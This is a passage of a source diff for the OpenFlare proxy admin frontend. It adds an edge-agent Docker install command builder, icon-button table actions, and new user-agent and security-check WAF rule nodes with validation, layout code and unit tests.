||||
/>
|
||||
@@ -597,7 +597,7 @@ export function NodeObservability({
|
||||
}
|
||||
hint={
|
||||
latestHealthEvent
|
||||
? `${getHealthEventLabel(latestHealthEvent)} · ${latestHealthEvent.message || '等待处理'}`
|
||||
? getHealthEventLabel(latestHealthEvent)
|
||||
: '当前没有活动中的健康事件'
|
||||
}
|
||||
/>
|
||||
|
||||
@@ -138,6 +138,25 @@ export function getImageTag(version?: string): string {
|
||||
return 'latest';
|
||||
}
|
||||
|
||||
export function buildEdgeDockerInstallCommand(
|
||||
serverUrl: string,
|
||||
agentToken: string,
|
||||
version?: string,
|
||||
) {
|
||||
const tag = getImageTag(version);
|
||||
const image = `ghcr.io/rain-kl/openflare-agent:${tag}`;
|
||||
|
||||
return [
|
||||
`docker pull ${image}`,
|
||||
`docker rm -f openflare-agent 2>/dev/null || true`,
|
||||
`docker run -d --name openflare-agent --restart unless-stopped \\`,
|
||||
` -p 80:80 -p 443:443/tcp -p 443:443/udp \\`,
|
||||
` -e OPENFLARE_SERVER_URL=${serverUrl} \\`,
|
||||
` -e OPENFLARE_AGENT_TOKEN=${agentToken} \\`,
|
||||
` ${image}`,
|
||||
].join('\n');
|
||||
}
|
||||
|
||||
export function buildRelayInstallCommand(
|
||||
serverUrl: string,
|
||||
discoveryToken: string,
|
||||
|
||||
@@ -278,7 +278,7 @@ export function RelayNodeDetail({ node }: { node: NodeItem }) {
|
||||
</>
|
||||
);
|
||||
|
||||
const overviewTab = (
|
||||
const manageTab = (
|
||||
<div className='space-y-6'>
|
||||
{node.last_error ? <NodeErrorBanner message={node.last_error} /> : null}
|
||||
|
||||
@@ -359,11 +359,7 @@ export function RelayNodeDetail({ node }: { node: NodeItem }) {
|
||||
</div>
|
||||
</NodeSectionCard>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
const manageTab = (
|
||||
<div className='space-y-6'>
|
||||
<NodeSectionCard
|
||||
title='FRPS WebUI'
|
||||
description='控制 frps 内置 Web 管理界面是否启用及其监听端口'
|
||||
@@ -514,8 +510,7 @@ export function RelayNodeDetail({ node }: { node: NodeItem }) {
|
||||
icon: Activity,
|
||||
},
|
||||
]}
|
||||
overview={overviewTab}
|
||||
dashboard={
|
||||
overview={
|
||||
<NodeObservability
|
||||
nodeId={node.id}
|
||||
variant='compact'
|
||||
|
||||
@@ -183,7 +183,7 @@ export function TunnelNodeDetail({ node }: { node: NodeItem }) {
|
||||
</>
|
||||
);
|
||||
|
||||
const overviewTab = (
|
||||
const manageTab = (
|
||||
<div className='space-y-6'>
|
||||
{node.last_error ? <NodeErrorBanner message={node.last_error} /> : null}
|
||||
|
||||
@@ -271,11 +271,9 @@ export function TunnelNodeDetail({ node }: { node: NodeItem }) {
|
||||
</div>
|
||||
</NodeSectionCard>
|
||||
</div>
|
||||
</div>
|
||||
);
|
||||
|
||||
const manageTab = (
|
||||
<div className='space-y-6'>
|
||||
<InstallCommand node={node} variant='tunnel' />
|
||||
|
||||
<NodeSectionCard title='接入凭证' description='隧道客户端接入所需 Token'>
|
||||
<div className='divide-y'>
|
||||
<NodeInfoRow label='Tunnel Token'>
|
||||
@@ -294,8 +292,6 @@ export function TunnelNodeDetail({ node }: { node: NodeItem }) {
|
||||
</NodeInfoRow>
|
||||
</div>
|
||||
</NodeSectionCard>
|
||||
|
||||
<InstallCommand node={node} variant='tunnel' />
|
||||
</div>
|
||||
);
|
||||
|
||||
@@ -338,8 +334,7 @@ export function TunnelNodeDetail({ node }: { node: NodeItem }) {
|
||||
icon: Activity,
|
||||
},
|
||||
]}
|
||||
overview={overviewTab}
|
||||
dashboard={
|
||||
overview={
|
||||
<NodeObservability
|
||||
nodeId={node.id}
|
||||
variant='compact'
|
||||
|
||||
@@ -228,7 +228,7 @@ export function ProxyRouteCreateSheet({
|
||||
limit_conn_per_server: 0,
|
||||
limit_conn_per_ip: 0,
|
||||
limit_rate: '',
|
||||
cache_enabled: false,
|
||||
cache_enabled: true,
|
||||
cache_policy: 'static',
|
||||
cache_rules: [],
|
||||
custom_headers: [],
|
||||
|
||||
@@ -1,23 +1,9 @@
|
||||
'use client';
|
||||
|
||||
import {
|
||||
Download,
|
||||
Eye,
|
||||
MoreHorizontal,
|
||||
Pencil,
|
||||
Play,
|
||||
Trash2,
|
||||
} from 'lucide-react';
|
||||
import { Download, Eye, Pencil, Play, Trash2 } from 'lucide-react';
|
||||
|
||||
import { Badge } from '@/components/ui/badge';
|
||||
import { Button } from '@/components/ui/button';
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuTrigger,
|
||||
} from '@/components/ui/dropdown-menu';
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
@@ -61,7 +47,7 @@ export function IPGroupsTable({
|
||||
<TableHead>引用次数</TableHead>
|
||||
<TableHead>同步状态</TableHead>
|
||||
<TableHead>更新时间</TableHead>
|
||||
<TableHead className='w-[80px] text-right'>操作</TableHead>
|
||||
<TableHead className='w-[168px] text-right'>操作</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
@@ -78,60 +64,79 @@ export function IPGroupsTable({
|
||||
</TableCell>
|
||||
<TableCell>{group.ip_list.length}</TableCell>
|
||||
<TableCell>{group.referenced_by_rule_count}</TableCell>
|
||||
<TableCell className='text-sm text-muted-foreground max-w-[200px] truncate'>
|
||||
<TableCell className='max-w-[200px] truncate text-sm text-muted-foreground'>
|
||||
{group.last_sync_status
|
||||
? `${group.last_sync_status}: ${group.last_sync_message}`
|
||||
: '尚无同步记录'}
|
||||
</TableCell>
|
||||
<TableCell className='text-muted-foreground text-sm'>
|
||||
<TableCell className='text-sm text-muted-foreground'>
|
||||
{group.updated_at ? formatDateTime(group.updated_at) : '—'}
|
||||
</TableCell>
|
||||
<TableCell className='text-right'>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant='ghost' size='icon' className='size-8'>
|
||||
<MoreHorizontal className='size-4' />
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align='end'>
|
||||
<DropdownMenuItem onClick={() => onView(group)}>
|
||||
<Eye className='size-4 mr-2' />
|
||||
查看
|
||||
</DropdownMenuItem>
|
||||
<DropdownMenuItem onClick={() => onEdit(group)}>
|
||||
<Pencil className='size-4 mr-2' />
|
||||
编辑
|
||||
</DropdownMenuItem>
|
||||
{group.type === 'automatic' ? (
|
||||
<DropdownMenuItem onClick={() => onTest(group)}>
|
||||
<Play className='size-4 mr-2' />
|
||||
测试规则
|
||||
</DropdownMenuItem>
|
||||
) : null}
|
||||
{group.type === 'subscription' ||
|
||||
group.type === 'automatic' ? (
|
||||
<DropdownMenuItem
|
||||
disabled={syncingId === group.id}
|
||||
onClick={() => onSync(group)}
|
||||
>
|
||||
<Download className='size-4 mr-2' />
|
||||
{syncingId === group.id
|
||||
? '同步中...'
|
||||
: group.type === 'automatic'
|
||||
? '立即执行'
|
||||
: '立即同步'}
|
||||
</DropdownMenuItem>
|
||||
) : null}
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuItem
|
||||
className='text-destructive focus:text-destructive'
|
||||
onClick={() => onDelete(group)}
|
||||
<div className='flex items-center justify-end gap-1'>
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8'
|
||||
title='查看'
|
||||
aria-label='查看'
|
||||
onClick={() => onView(group)}
|
||||
>
|
||||
<Eye />
|
||||
</Button>
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8'
|
||||
title='编辑'
|
||||
aria-label='编辑'
|
||||
onClick={() => onEdit(group)}
|
||||
>
|
||||
<Pencil />
|
||||
</Button>
|
||||
{group.type === 'automatic' ? (
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8'
|
||||
title='测试规则'
|
||||
aria-label='测试规则'
|
||||
onClick={() => onTest(group)}
|
||||
>
|
||||
<Trash2 className='size-4 mr-2' />
|
||||
删除
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
<Play />
|
||||
</Button>
|
||||
) : null}
|
||||
{group.type === 'subscription' || group.type === 'automatic' ? (
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8'
|
||||
title={group.type === 'automatic' ? '立即执行' : '立即同步'}
|
||||
aria-label={
|
||||
group.type === 'automatic' ? '立即执行' : '立即同步'
|
||||
}
|
||||
disabled={syncingId === group.id}
|
||||
onClick={() => onSync(group)}
|
||||
>
|
||||
<Download />
|
||||
</Button>
|
||||
) : null}
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8 text-destructive hover:text-destructive'
|
||||
title='删除'
|
||||
aria-label='删除'
|
||||
onClick={() => onDelete(group)}
|
||||
>
|
||||
<Trash2 />
|
||||
</Button>
|
||||
</div>
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
))}
|
||||
|
||||
@@ -1,23 +1,9 @@
|
||||
'use client';
|
||||
|
||||
import {
|
||||
Globe2,
|
||||
MoreHorizontal,
|
||||
Pencil,
|
||||
ShieldCheck,
|
||||
Trash2,
|
||||
} from 'lucide-react';
|
||||
import { Globe2, Pencil, ShieldCheck, Trash2 } from 'lucide-react';
|
||||
|
||||
import { Badge } from '@/components/ui/badge';
|
||||
import { Button } from '@/components/ui/button';
|
||||
import {
|
||||
DropdownMenu,
|
||||
DropdownMenuContent,
|
||||
DropdownMenuGroup,
|
||||
DropdownMenuItem,
|
||||
DropdownMenuSeparator,
|
||||
DropdownMenuTrigger,
|
||||
} from '@/components/ui/dropdown-menu';
|
||||
import {
|
||||
Table,
|
||||
TableBody,
|
||||
@@ -50,7 +36,7 @@ export function RuleGroupsTable({
|
||||
<TableHead>节点数</TableHead>
|
||||
<TableHead>应用范围</TableHead>
|
||||
<TableHead>更新时间</TableHead>
|
||||
<TableHead className='w-[80px] text-right'>操作</TableHead>
|
||||
<TableHead className='w-[88px] text-right'>操作</TableHead>
|
||||
</TableRow>
|
||||
</TableHeader>
|
||||
<TableBody>
|
||||
@@ -59,9 +45,9 @@ export function RuleGroupsTable({
|
||||
<TableCell>
|
||||
<div className='flex items-center gap-2'>
|
||||
{group.is_global ? (
|
||||
<Globe2 className='size-4 text-primary shrink-0' />
|
||||
<Globe2 className='size-4 shrink-0 text-primary' />
|
||||
) : (
|
||||
<ShieldCheck className='size-4 text-muted-foreground shrink-0' />
|
||||
<ShieldCheck className='size-4 shrink-0 text-muted-foreground' />
|
||||
)}
|
||||
<span className='font-medium'>{group.name}</span>
|
||||
</div>
|
||||
@@ -82,39 +68,36 @@ export function RuleGroupsTable({
|
||||
? '全部网站'
|
||||
: `${group.applied_site_count} 个网站`}
|
||||
</TableCell>
|
||||
<TableCell className='text-muted-foreground text-sm'>
|
||||
<TableCell className='text-sm text-muted-foreground'>
|
||||
{group.updated_at ? formatDateTime(group.updated_at) : '—'}
|
||||
</TableCell>
|
||||
<TableCell className='text-right'>
|
||||
<DropdownMenu>
|
||||
<DropdownMenuTrigger asChild>
|
||||
<Button variant='ghost' size='icon' className='size-8'>
|
||||
<MoreHorizontal />
|
||||
<div className='flex items-center justify-end gap-1'>
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8'
|
||||
title='编排'
|
||||
aria-label='编排'
|
||||
onClick={() => onEdit(group)}
|
||||
>
|
||||
<Pencil />
|
||||
</Button>
|
||||
{!group.is_global ? (
|
||||
<Button
|
||||
type='button'
|
||||
variant='ghost'
|
||||
size='icon'
|
||||
className='size-8 text-destructive hover:text-destructive'
|
||||
title='删除'
|
||||
aria-label='删除'
|
||||
onClick={() => onDelete(group)}
|
||||
>
|
||||
<Trash2 />
|
||||
</Button>
|
||||
</DropdownMenuTrigger>
|
||||
<DropdownMenuContent align='end'>
|
||||
<DropdownMenuGroup>
|
||||
<DropdownMenuItem onClick={() => onEdit(group)}>
|
||||
<Pencil />
|
||||
编排
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuGroup>
|
||||
{!group.is_global ? (
|
||||
<>
|
||||
<DropdownMenuSeparator />
|
||||
<DropdownMenuGroup>
|
||||
<DropdownMenuItem
|
||||
variant='destructive'
|
||||
onClick={() => onDelete(group)}
|
||||
>
|
||||
<Trash2 />
|
||||
删除
|
||||
</DropdownMenuItem>
|
||||
</DropdownMenuGroup>
|
||||
</>
|
||||
) : null}
|
||||
</DropdownMenuContent>
|
||||
</DropdownMenu>
|
||||
) : null}
|
||||
</div>
|
||||
</TableCell>
|
||||
</TableRow>
|
||||
))}
|
||||
|
||||
@@ -78,6 +78,8 @@ export function isConnectionAllowed(
|
||||
start: ['next'],
|
||||
ip_match: ['true', 'false'],
|
||||
geo_match: ['true', 'false'],
|
||||
ua_check: ['true', 'false'],
|
||||
security_check: ['true', 'false'],
|
||||
pow: ['next'],
|
||||
};
|
||||
return (
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import type { WAFRuleGraph } from '@/lib/services/openflare';
|
||||
|
||||
import { layoutRuleGraph } from './graph-layout';
|
||||
|
||||
const sampleGraph: WAFRuleGraph = {
|
||||
schema_version: 1,
|
||||
nodes: [
|
||||
{
|
||||
id: 'start',
|
||||
type: 'start',
|
||||
position: { x: 500, y: 400 },
|
||||
config: {},
|
||||
},
|
||||
{
|
||||
id: 'match',
|
||||
type: 'ip_match',
|
||||
position: { x: 10, y: 10 },
|
||||
config: { ips: [], cidrs: [], ip_group_ids: [] },
|
||||
},
|
||||
{
|
||||
id: 'allow',
|
||||
type: 'allow',
|
||||
position: { x: 0, y: 0 },
|
||||
config: {},
|
||||
},
|
||||
{
|
||||
id: 'block',
|
||||
type: 'block',
|
||||
position: { x: 99, y: 99 },
|
||||
config: { status_code: 403, response_body: '' },
|
||||
},
|
||||
],
|
||||
edges: [
|
||||
{
|
||||
id: 'e1',
|
||||
source: 'start',
|
||||
source_handle: 'next',
|
||||
target: 'match',
|
||||
},
|
||||
{
|
||||
id: 'e2',
|
||||
source: 'match',
|
||||
source_handle: 'true',
|
||||
target: 'allow',
|
||||
},
|
||||
{
|
||||
id: 'e3',
|
||||
source: 'match',
|
||||
source_handle: 'false',
|
||||
target: 'block',
|
||||
},
|
||||
],
|
||||
};
|
||||
|
||||
describe('layoutRuleGraph', () => {
|
||||
it('places start left of match and match left of terminals', () => {
|
||||
const laid = layoutRuleGraph(sampleGraph);
|
||||
const byId = Object.fromEntries(laid.nodes.map((n) => [n.id, n]));
|
||||
expect(byId.start.position.x).toBeLessThan(byId.match.position.x);
|
||||
expect(byId.match.position.x).toBeLessThan(byId.allow.position.x);
|
||||
expect(byId.match.position.x).toBeLessThan(byId.block.position.x);
|
||||
});
|
||||
|
||||
it('keeps edges unchanged', () => {
|
||||
const laid = layoutRuleGraph(sampleGraph);
|
||||
expect(laid.edges).toEqual(sampleGraph.edges);
|
||||
});
|
||||
|
||||
it('separates sibling terminals on y axis', () => {
|
||||
const laid = layoutRuleGraph(sampleGraph);
|
||||
const byId = Object.fromEntries(laid.nodes.map((n) => [n.id, n]));
|
||||
expect(byId.allow.position.y).not.toBe(byId.block.position.y);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,105 @@
|
||||
import type { WAFRuleGraph, WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
const NODE_WIDTH = 220;
|
||||
const NODE_HEIGHT = 72;
|
||||
const GAP_X = 120;
|
||||
const GAP_Y = 48;
|
||||
const ORIGIN_X = 48;
|
||||
const ORIGIN_Y = 48;
|
||||
|
||||
/** Left-to-right layered layout for the WAF rule DAG. Edges are unchanged. */
|
||||
export function layoutRuleGraph(graph: WAFRuleGraph): WAFRuleGraph {
|
||||
if (graph.nodes.length === 0) return graph;
|
||||
|
||||
const children = new Map<string, string[]>();
|
||||
const indegree = new Map<string, number>();
|
||||
for (const node of graph.nodes) {
|
||||
children.set(node.id, []);
|
||||
indegree.set(node.id, 0);
|
||||
}
|
||||
for (const edge of graph.edges) {
|
||||
if (!children.has(edge.source) || !indegree.has(edge.target)) continue;
|
||||
children.get(edge.source)!.push(edge.target);
|
||||
indegree.set(edge.target, (indegree.get(edge.target) ?? 0) + 1);
|
||||
}
|
||||
|
||||
const start =
|
||||
graph.nodes.find((node) => node.type === 'start') ?? graph.nodes[0];
|
||||
const depth = new Map<string, number>();
|
||||
const queue: string[] = [start.id];
|
||||
depth.set(start.id, 0);
|
||||
|
||||
while (queue.length > 0) {
|
||||
const id = queue.shift()!;
|
||||
const d = depth.get(id) ?? 0;
|
||||
for (const child of children.get(id) ?? []) {
|
||||
const next = d + 1;
|
||||
const prev = depth.get(child);
|
||||
if (prev === undefined || next > prev) {
|
||||
depth.set(child, next);
|
||||
queue.push(child);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Unreachable nodes (no path from start) sit after the main layers.
|
||||
let maxDepth = 0;
|
||||
for (const value of depth.values()) maxDepth = Math.max(maxDepth, value);
|
||||
let orphanColumn = maxDepth + 1;
|
||||
for (const node of graph.nodes) {
|
||||
if (!depth.has(node.id)) {
|
||||
depth.set(node.id, orphanColumn);
|
||||
orphanColumn += 1;
|
||||
}
|
||||
}
|
||||
|
||||
const columns = new Map<number, WAFRuleNode[]>();
|
||||
for (const node of graph.nodes) {
|
||||
const col = depth.get(node.id) ?? 0;
|
||||
const list = columns.get(col) ?? [];
|
||||
list.push(node);
|
||||
columns.set(col, list);
|
||||
}
|
||||
|
||||
for (const [, list] of columns) {
|
||||
list.sort((a, b) => {
|
||||
const rank = (node: WAFRuleNode) => {
|
||||
if (node.type === 'start') return 0;
|
||||
if (node.type === 'allow') return 2;
|
||||
if (node.type === 'block') return 3;
|
||||
return 1;
|
||||
};
|
||||
const diff = rank(a) - rank(b);
|
||||
if (diff !== 0) return diff;
|
||||
return a.id.localeCompare(b.id);
|
||||
});
|
||||
}
|
||||
|
||||
let maxRows = 1;
|
||||
for (const list of columns.values()) maxRows = Math.max(maxRows, list.length);
|
||||
|
||||
const positions = new Map<string, { x: number; y: number }>();
|
||||
const sortedCols = [...columns.keys()].sort((a, b) => a - b);
|
||||
for (const col of sortedCols) {
|
||||
const list = columns.get(col) ?? [];
|
||||
const blockHeight =
|
||||
list.length * NODE_HEIGHT + Math.max(0, list.length - 1) * GAP_Y;
|
||||
const totalHeight =
|
||||
maxRows * NODE_HEIGHT + Math.max(0, maxRows - 1) * GAP_Y;
|
||||
const offsetY = ORIGIN_Y + (totalHeight - blockHeight) / 2;
|
||||
list.forEach((node, index) => {
|
||||
positions.set(node.id, {
|
||||
x: ORIGIN_X + col * (NODE_WIDTH + GAP_X),
|
||||
y: offsetY + index * (NODE_HEIGHT + GAP_Y),
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
return {
|
||||
...graph,
|
||||
nodes: graph.nodes.map((node) => ({
|
||||
...node,
|
||||
position: positions.get(node.id) ?? node.position,
|
||||
})),
|
||||
};
|
||||
}
|
||||
@@ -1,5 +1,7 @@
|
||||
import type { WAFRuleGraph, WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
import { UA_BROWSER_LABELS, UA_OS_LABELS } from './ua-options';
|
||||
|
||||
export type GraphIssueCode =
|
||||
| 'schema'
|
||||
| 'size_limit'
|
||||
@@ -28,6 +30,8 @@ const handles: Partial<Record<WAFRuleNode['type'], string[]>> = {
|
||||
start: ['next'],
|
||||
ip_match: ['true', 'false'],
|
||||
geo_match: ['true', 'false'],
|
||||
ua_check: ['true', 'false'],
|
||||
security_check: ['true', 'false'],
|
||||
pow: ['next'],
|
||||
};
|
||||
|
||||
@@ -208,6 +212,31 @@ function validateNodeConfig(node: WAFRuleNode): string | undefined {
|
||||
new TextEncoder().encode(node.config.response_body).length > 16 * 1024)
|
||||
)
|
||||
return `节点 ${node.id} 的阻止响应配置无效`;
|
||||
if (node.type === 'ua_check') {
|
||||
if (!['and', 'or'].includes(node.config.match_mode))
|
||||
return `节点 ${node.id} 的匹配模式必须为 and 或 or`;
|
||||
if (node.config.browsers.some((label) => !UA_BROWSER_LABELS.has(label)))
|
||||
return `节点 ${node.id} 包含无效浏览器标签`;
|
||||
if (node.config.operating_systems.some((label) => !UA_OS_LABELS.has(label)))
|
||||
return `节点 ${node.id} 包含无效操作系统标签`;
|
||||
if (node.config.custom_ua_patterns.length > 32)
|
||||
return `节点 ${node.id} 的自定义 UA 正则不能超过 32 条`;
|
||||
for (const pattern of node.config.custom_ua_patterns) {
|
||||
if (!pattern.trim()) return `节点 ${node.id} 的自定义 UA 正则不能为空`;
|
||||
if (new TextEncoder().encode(pattern).length > 256)
|
||||
return `节点 ${node.id} 的自定义 UA 正则过长`;
|
||||
try {
|
||||
void new RegExp(pattern);
|
||||
} catch {
|
||||
return `节点 ${node.id} 的自定义 UA 正则无效`;
|
||||
}
|
||||
}
|
||||
if (
|
||||
node.config.block_custom_ua &&
|
||||
node.config.custom_ua_patterns.length === 0
|
||||
)
|
||||
return `节点 ${node.id} 开启屏蔽自定义 UA 时至少需要一条正则`;
|
||||
}
|
||||
return undefined;
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,75 @@
|
||||
import { describe, expect, it } from 'vitest';
|
||||
|
||||
import {
|
||||
createRuleNode,
|
||||
displayNodeTitle,
|
||||
NODE_TYPE_LABELS,
|
||||
parseAddableNodeType,
|
||||
} from './node-factory';
|
||||
|
||||
describe('displayNodeTitle', () => {
|
||||
it('uses trimmed label when present', () => {
|
||||
expect(
|
||||
displayNodeTitle({
|
||||
type: 'ip_match',
|
||||
label: ' 办公室 ',
|
||||
}),
|
||||
).toBe('办公室');
|
||||
});
|
||||
|
||||
it('falls back to type default when label empty', () => {
|
||||
expect(
|
||||
displayNodeTitle({
|
||||
type: 'block',
|
||||
label: ' ',
|
||||
}),
|
||||
).toBe(NODE_TYPE_LABELS.block);
|
||||
});
|
||||
});
|
||||
|
||||
describe('createRuleNode', () => {
|
||||
it('creates typed node at position without label', () => {
|
||||
const node = createRuleNode('pow', { x: 12, y: 34 });
|
||||
expect(node.type).toBe('pow');
|
||||
expect(node.position).toEqual({ x: 12, y: 34 });
|
||||
expect(node.label).toBeUndefined();
|
||||
expect(node.id.startsWith('pow-')).toBe(true);
|
||||
if (node.type === 'pow') {
|
||||
expect(node.config).toEqual({
|
||||
algorithm: 'fast',
|
||||
difficulty: 4,
|
||||
session_ttl: 3600,
|
||||
challenge_ttl: 300,
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseAddableNodeType', () => {
|
||||
it('accepts addable types and rejects others', () => {
|
||||
expect(parseAddableNodeType('ip_match')).toBe('ip_match');
|
||||
expect(parseAddableNodeType('ua_check')).toBe('ua_check');
|
||||
expect(parseAddableNodeType('security_check')).toBe('security_check');
|
||||
expect(parseAddableNodeType('start')).toBeNull();
|
||||
expect(parseAddableNodeType('')).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('createRuleNode ua_check', () => {
|
||||
it('creates default UA check config', () => {
|
||||
const node = createRuleNode('ua_check', { x: 1, y: 2 });
|
||||
expect(node.type).toBe('ua_check');
|
||||
if (node.type === 'ua_check') {
|
||||
expect(node.config).toEqual({
|
||||
require_ua: false,
|
||||
browsers: [],
|
||||
operating_systems: [],
|
||||
match_mode: 'or',
|
||||
block_common_bots: false,
|
||||
block_abnormal_ua: false,
|
||||
block_custom_ua: false,
|
||||
custom_ua_patterns: [],
|
||||
});
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,106 @@
|
||||
import type { WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
export const WAF_NODE_DRAG_MIME = 'application/openflare-waf-node';
|
||||
|
||||
export type AddableNodeType = Extract<
|
||||
WAFRuleNode['type'],
|
||||
'ip_match' | 'geo_match' | 'ua_check' | 'security_check' | 'pow' | 'block'
|
||||
>;
|
||||
|
||||
export const NODE_TYPE_LABELS: Record<WAFRuleNode['type'], string> = {
|
||||
start: '开始',
|
||||
ip_match: 'IP 匹配',
|
||||
geo_match: '地域匹配',
|
||||
ua_check: 'UA 检查',
|
||||
security_check: '安全防护',
|
||||
pow: 'PoW 挑战',
|
||||
allow: '通过',
|
||||
block: '阻止',
|
||||
};
|
||||
|
||||
export function displayNodeTitle(
|
||||
node: Pick<WAFRuleNode, 'type' | 'label'>,
|
||||
): string {
|
||||
const custom = node.label?.trim();
|
||||
return custom || NODE_TYPE_LABELS[node.type];
|
||||
}
|
||||
|
||||
export function createRuleNode(
|
||||
type: AddableNodeType,
|
||||
position: { x: number; y: number },
|
||||
): WAFRuleNode {
|
||||
const id = `${type}-${crypto.randomUUID().slice(0, 8)}`;
|
||||
if (type === 'ip_match')
|
||||
return {
|
||||
id,
|
||||
type,
|
||||
position,
|
||||
config: { ips: [], cidrs: [], ip_group_ids: [] },
|
||||
};
|
||||
if (type === 'geo_match')
|
||||
return { id, type, position, config: { countries: [], regions: [] } };
|
||||
if (type === 'ua_check')
|
||||
return {
|
||||
id,
|
||||
type,
|
||||
position,
|
||||
config: {
|
||||
require_ua: false,
|
||||
browsers: [],
|
||||
operating_systems: [],
|
||||
match_mode: 'or',
|
||||
block_common_bots: false,
|
||||
block_abnormal_ua: false,
|
||||
block_custom_ua: false,
|
||||
custom_ua_patterns: [],
|
||||
},
|
||||
};
|
||||
if (type === 'security_check')
|
||||
return {
|
||||
id,
|
||||
type,
|
||||
position,
|
||||
config: {
|
||||
sql_injection: false,
|
||||
path_traversal: true,
|
||||
command_injection: false,
|
||||
xss: false,
|
||||
ssrf: false,
|
||||
file_inclusion: true,
|
||||
malicious_upload: false,
|
||||
xxe: false,
|
||||
crlf_injection: false,
|
||||
},
|
||||
};
|
||||
if (type === 'pow')
|
||||
return {
|
||||
id,
|
||||
type,
|
||||
position,
|
||||
config: {
|
||||
algorithm: 'fast',
|
||||
difficulty: 4,
|
||||
session_ttl: 3600,
|
||||
challenge_ttl: 300,
|
||||
},
|
||||
};
|
||||
return {
|
||||
id,
|
||||
type: 'block',
|
||||
position,
|
||||
config: { status_code: 403, response_body: '' },
|
||||
};
|
||||
}
|
||||
|
||||
export function parseAddableNodeType(value: string): AddableNodeType | null {
|
||||
if (
|
||||
value === 'ip_match' ||
|
||||
value === 'geo_match' ||
|
||||
value === 'ua_check' ||
|
||||
value === 'security_check' ||
|
||||
value === 'pow' ||
|
||||
value === 'block'
|
||||
)
|
||||
return value;
|
||||
return null;
|
||||
}
|
||||
@@ -1,31 +1,48 @@
|
||||
import { Ban, Fingerprint, Globe2, Plus, ShieldCheck } from 'lucide-react';
|
||||
import {
|
||||
Ban,
|
||||
Fingerprint,
|
||||
Globe2,
|
||||
ScanSearch,
|
||||
Shield,
|
||||
ShieldCheck,
|
||||
} from 'lucide-react';
|
||||
|
||||
import { Button } from '@/components/ui/button';
|
||||
import type { WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
type AddableType = Extract<
|
||||
WAFRuleNode['type'],
|
||||
'ip_match' | 'geo_match' | 'pow' | 'block'
|
||||
>;
|
||||
import {
|
||||
NODE_TYPE_LABELS,
|
||||
WAF_NODE_DRAG_MIME,
|
||||
type AddableNodeType,
|
||||
} from './node-factory';
|
||||
|
||||
const items = [
|
||||
{ type: 'ip_match', label: 'IP 匹配', icon: Fingerprint },
|
||||
{ type: 'geo_match', label: '地域匹配', icon: Globe2 },
|
||||
{ type: 'pow', label: 'PoW 挑战', icon: ShieldCheck },
|
||||
{ type: 'block', label: '阻止', icon: Ban },
|
||||
] satisfies { type: AddableType; label: string; icon: typeof Plus }[];
|
||||
{ type: 'ip_match' as const, icon: Fingerprint },
|
||||
{ type: 'geo_match' as const, icon: Globe2 },
|
||||
{ type: 'ua_check' as const, icon: ScanSearch },
|
||||
{ type: 'security_check' as const, icon: Shield },
|
||||
{ type: 'pow' as const, icon: ShieldCheck },
|
||||
{ type: 'block' as const, icon: Ban },
|
||||
] satisfies { type: AddableNodeType; icon: typeof Fingerprint }[];
|
||||
|
||||
export function NodeLibrary({ onAdd }: { onAdd: (type: AddableType) => void }) {
|
||||
export function NodeLibrary() {
|
||||
return (
|
||||
<div className='flex items-center gap-2'>
|
||||
{items.map(({ type, label, icon: Icon }) => (
|
||||
{items.map(({ type, icon: Icon }) => (
|
||||
<Button
|
||||
key={type}
|
||||
type='button'
|
||||
variant='outline'
|
||||
size='sm'
|
||||
onClick={() => onAdd(type)}
|
||||
draggable
|
||||
className='cursor-grab active:cursor-grabbing'
|
||||
onDragStart={(event) => {
|
||||
event.dataTransfer.setData(WAF_NODE_DRAG_MIME, type);
|
||||
event.dataTransfer.setData('text/plain', type);
|
||||
event.dataTransfer.effectAllowed = 'copy';
|
||||
}}
|
||||
>
|
||||
<Icon data-icon='inline-start' />
|
||||
{label}
|
||||
{NODE_TYPE_LABELS[type]}
|
||||
</Button>
|
||||
))}
|
||||
</div>
|
||||
|
||||
@@ -5,6 +5,84 @@ import type { WAFIPGroup, WAFRuleNode } from '@/lib/services/openflare';
|
||||
|
||||
import { NodeProperties } from './node-properties';
|
||||
|
||||
it('hides match and block until UA check is enabled', () => {
|
||||
const node: WAFRuleNode = {
|
||||
id: 'ua',
|
||||
type: 'ua_check',
|
||||
position: { x: 0, y: 0 },
|
||||
config: {
|
||||
require_ua: false,
|
||||
browsers: [],
|
||||
operating_systems: [],
|
||||
match_mode: 'or',
|
||||
block_common_bots: false,
|
||||
